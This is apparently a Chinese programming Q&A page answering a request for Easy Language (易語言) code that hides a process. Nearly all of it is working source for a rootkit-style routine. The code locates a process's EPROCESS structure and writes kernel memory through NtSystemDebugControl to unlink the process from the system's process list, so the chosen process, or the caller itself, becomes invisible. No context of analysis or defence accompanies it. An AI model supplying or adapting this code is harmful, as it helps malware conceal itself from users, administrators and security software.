當前位置:編程學習大全網 - 源碼下載 - 誰有易語言隱藏進程代碼

誰有易語言隱藏進程代碼

版本 2

.子程序 隱藏進程, 邏輯型, 公開

.參數 pid, 整數型, 可空, 空為隱藏本進程,可輸入其它進程PID

.局部變量 eprocess, 長整數型

.局部變量 hand, 整數型

.局部變量 temp, 字節集

.局部變量 fw_, 長整數型

.局部變量 bw_, 長整數型

.局部變量 fw, 字節集

.局部變量 bw, 字節集

.如果 (是否為空 (pid))

hand = OpenProcess (2075311, 0, GetCurrentProcessId ())

eprocess = 取進程EProcess (GetCurrentProcessId ())

CloseHandle (hand)

.否則

eprocess = 取進程EProcess (pid)

.如果結束

.如果真 (eprocess = 0)

返回 (假)

.如果真結束

temp = 讀物理內存 (eprocess + 136, 4)

.如果真 (temp = { })

返回 (假)

.如果真結束

fw_ = 取字節集數據 (temp, #長整數型, )

fw = temp

temp = 讀物理內存 (eprocess + 140, 4)

.如果真 (temp = { })

返回 (假)

.如果真結束

bw_ = 取字節集數據 (temp, #長整數型, )

bw = temp

.如果真 (寫物理內存 (fw_ + 4, bw) = -1)

返回 (假)

.如果真結束

.如果真 (寫物理內存 (bw_, fw) = -1)

返回 (假)

.如果真結束

返回 (真)

//讀物理內存

.版本 2

.子程序 讀物理內存, 字節集

.參數 地址, 長整數型

.參數 長度, 整數型, , <=4096

.局部變量 MEMORY_CHUNKS, 字節集

.局部變量 ret, 字節集

.局部變量 retlen, 整數型

ret = 取空白字節集 (長度)

MEMORY_CHUNKS = 取字節集左邊 (到字節集 (地址), 4) + 到字節集 (取指針_字節集 (ret, ret, 0)) + 到字節集 (長度)

NtSystemDebugControl (#SysDbgReadVirtualMemory, MEMORY_CHUNKS, 12, 0, 0, retlen) ' 12為MEMORY_CHUNKS的長度

.如果真 (retlen ≤ 0)

ret = { }

.如果真結束

返回 (ret)

//寫物理內存

.版本 2

.子程序 寫物理內存, 整數型

.參數 地址, 長整數型

.參數 數據, 字節集, , <=4096

.局部變量 MEMORY_CHUNKS, 字節集

.局部變量 ret, 整數型

.局部變量 retlen, 整數型

.局部變量 len, 整數型

len = 取字節集長度 (數據)

MEMORY_CHUNKS = 取字節集左邊 (到字節集 (地址), 4) + 到字節集 (取指針_字節集 (數據, 數據, 0)) + 到字節集 (len)

NtSystemDebugControl (#SysDbgWriteVirtualMemory, MEMORY_CHUNKS, 12, 0, 0, retlen) ' 12為MEMORY_CHUNKS的長度

.如果真 (retlen ≤ 0)

ret = -1

.如果真結束

返回 (ret)

//取進程EProcess

.版本 2

.子程序 取進程EProcess, 長整數型

.參數 pid, 整數型

.局部變量 ret

.局部變量 信息塊, 字節集

.局部變量 retlen

.局部變量 temp, SYSTEM_HANDLE_INFORMATION

.局部變量 信息塊指針偏移

.局部變量 number

.局部變量 結果, 長整數型

retlen = 1

.循環判斷首 ()

信息塊 = 取空白字節集 (retlen)

ret = ZwQuerySystemInformation (#system_handle_infomation, 信息塊, retlen, 0)

.如果 (ret = #STATUS_INFO_LENGTH_MISMATCH)

retlen = retlen × 2

信息塊 = 取空白字節集 (retlen)

.否則

跳出循環 ()

.如果結束

.循環判斷尾 (ret = #STATUS_INFO_LENGTH_MISMATCH)

信息塊指針偏移 = 取指針_字節集 (信息塊, 信息塊, 0)

RtlMoveMemory3 (number, 信息塊指針偏移, 4)

信息塊指針偏移 = 信息塊指針偏移 + 4

.計次循環首 (number, )

RtlMoveMemory2 (temp, 信息塊指針偏移, 16)

.如果真 (pid = temp.ProcessId 且 temp.ObjectTypeNumber = 5)

返回 (十六文本至長整數 (取十六進制文本 (temp.Object)))

.如果真結束

信息塊指針偏移 = 信息塊指針偏移 + 16

.計次循環尾 ()

返回 (0)

  • 上一篇:電腦鼠標右鍵不能刷新
  • 下一篇:熊貓燒香是是什麽類型的病毒?
  • copyright 2024編程學習大全網